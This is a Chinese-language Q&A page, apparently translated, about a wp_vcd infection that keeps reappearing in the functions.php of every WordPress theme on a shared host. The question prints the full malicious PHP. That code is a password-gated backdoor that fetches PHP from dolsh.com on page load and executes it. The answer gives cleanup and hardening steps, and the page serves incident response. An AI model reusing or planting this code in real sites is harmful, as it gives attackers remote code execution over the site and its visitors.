我共享主机上所有wordpress网站的functions.php中的PHP代码
问题:我共享主机上所有wordpress网站的functions.php中的PHP代码
我有一个共享主机和一些 wordpress 网站。最近有时当我访问我的网站时,弹出窗口会打开。所以我在 Cpanel 中打开了一个 wordpress 网站的模板目录。此代码添加在functions.php文件之上:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79'))
{
$div_code_name = "wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain))
{
$file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if (!function_exists('theme_temp_setup'))
{
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false)
{
if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path))
{
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
所以我删除了那个并且弹出问题解决了。我从所有网站的functions.php文件中删除了它但是现在的问题是,当我访问任何网站的functions.php时,代码又在那里并且它在所有主题中甚至是未使用的主题。我能做些什么?
我为解决问题所做的工作
1、在wp-include目录下,删除wp-vcd.php和class.wp.php文件
2、在wp-include目录下,打开post.php,删除恶意软件添加的第一个php标签。
3.打开主题的functions.php文件,删除以上代码。
这应该停止弹出窗口。但是不知道能用多久。
我仍然没有找到感染所有网站的主文件,但想找出来。
解答
我知道这个答案很晚,但我会分享我的经验来帮助任何有这个问题的人。此问题的原因可能是您从 wordpress.org 外部下载的插件,或者某些机构可以访问您的 wordpress 管理员帐户,并且您尚未在外观选项卡中关闭 editor.php,或者黑客拥有您的 ftp 用户和密码或 . ..要解决这个问题,首先创建一个完整备份并将其保存在您的计算机中,以防出现任何错误,然后:
-
转到您的 wordpress 站点的主题目录并删除所有未使用的主题,因为它们已经被感染。
-
在活动主题中编辑您的
functions.php文件并删除恶意软件插入的所有额外代码。您可以搜索wp_vcd或wp-tmp字以找到代码。
3.下载最新的wordpress安装。然后删除wp-include和wp-admin文件夹以及 public_html 中的所有文件,除了wp-content folder和.htaccess文件和wp-config.php文件。之后用下载的wordpress替换已删除的文件和文件夹。
4.删除您从已知来源下载的所有插件。
- 最后更改您的所有密码,例如 ftp、管理面板、cpanel 或直接管理员......以防黑客将您的信息保存在某处。
希望这个小指南可以帮助某人。
更多推荐
所有评论(0)